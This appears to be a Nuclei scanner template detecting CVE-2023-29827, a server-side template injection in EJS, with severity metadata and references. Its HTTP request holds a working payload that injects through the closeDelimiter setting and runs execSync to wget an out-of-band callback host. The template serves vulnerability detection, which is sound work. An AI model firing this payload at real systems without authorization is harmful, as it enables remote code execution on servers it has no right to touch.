漏洞描述
ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.
id: CVE-2023-29827
info:
name: Embedded JavaScript(EJS) 3.1.6 - Template Injection
author: ritikchaddha
severity: critical
description: |
ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.
impact: |
High impact as it enables remote code execution.
remediation: |
Update EJS to the latest version to mitigate the vulnerability.
reference:
- https://github.com/mde/ejs/issues/720
- https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities
- https://nvd.nist.gov/vuln/detail/CVE-2023-29827
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-29827
cwe-id: CWE-74
epss-score: 0.69579
epss-percentile: 0.98614
cpe: cpe:2.3:a:ejs:ejs:3.1.9:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: ejs
product: ejs
framework: node.js
tags: cve,cve2023,ssti,rce,ejs,oast,node.js
http:
- method: GET
path:
- "{{BaseURL}}/page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27)%3b//"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: body
words:
- "You are viewing page number"
# digest: 4a0a00473045022100a20110f7bdb6fdf58bf131c445f0106a82eab1274f5278b757a20888b48f9f8a022069f08e4b42a20e2ca5ca240c4ea284bb3b8f2d95eae90768f69aba297ddc7576:922c64590222798bb761d5b6d8e72950